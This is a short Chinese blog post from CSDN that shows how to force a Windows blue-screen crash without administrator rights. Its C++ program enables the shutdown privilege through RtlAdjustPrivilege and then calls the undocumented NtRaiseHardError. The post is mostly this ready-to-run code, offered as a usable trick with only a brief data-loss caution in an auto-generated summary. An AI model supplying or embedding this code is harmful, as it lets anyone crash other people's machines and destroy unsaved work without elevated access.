C++蓝屏程序(非管理员)

ShallowF

已于 2022-03-13 21:50:02 修改

阅读量4.5k

点赞数 6

文章标签： windows c++

于 2022-03-13 21:48:19 首次发布

本文链接：https://blog.csdn.net/weixin_45760568/article/details/123467098

版权

这篇博客介绍了如何使用C++通过Windows API中的NtRaiseHardError函数，在非管理员权限环境下产生蓝屏错误（BSOD）。代码示例展示了如何调整权限并触发STATUS_ASSERTION_FAILURE错误，导致系统崩溃。执行此操作前需谨慎，以防止数据丢失。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

用C++通过WinAPI在非管理员特权下产生BSOD

Windows有一个"未公开"的蓝屏api：NtRaiseHardError

可以在非管理员特权下产生BSOD
调用该API需要调用者有关机权限

代码示例（Create BSOD from user mode?）：

#include <windows.h>
#pragma comment(lib, "ntdll.lib")

extern "C" NTSTATUS NTAPI RtlAdjustPrivilege(ULONG Privilege, BOOLEAN Enable, BOOLEAN CurrentThread, PBOOLEAN OldValue);
extern "C" NTSTATUS NTAPI NtRaiseHardError(LONG ErrorStatus, ULONG NumberOfParameters, ULONG UnicodeStringParameterMask,
    PULONG_PTR Parameters, ULONG ValidResponseOptions, PULONG Response);

int main(){
    BOOLEAN bl;
    ULONG Response;
    
    RtlAdjustPrivilege(19, TRUE, FALSE, &bl);
    // 调用NtRaiseHardError需要有SeShutdownPrivilege
    
    NtRaiseHardError(STATUS_ASSERTION_FAILURE, 0, 0, NULL, 6, &Response); 
    // BSOD
}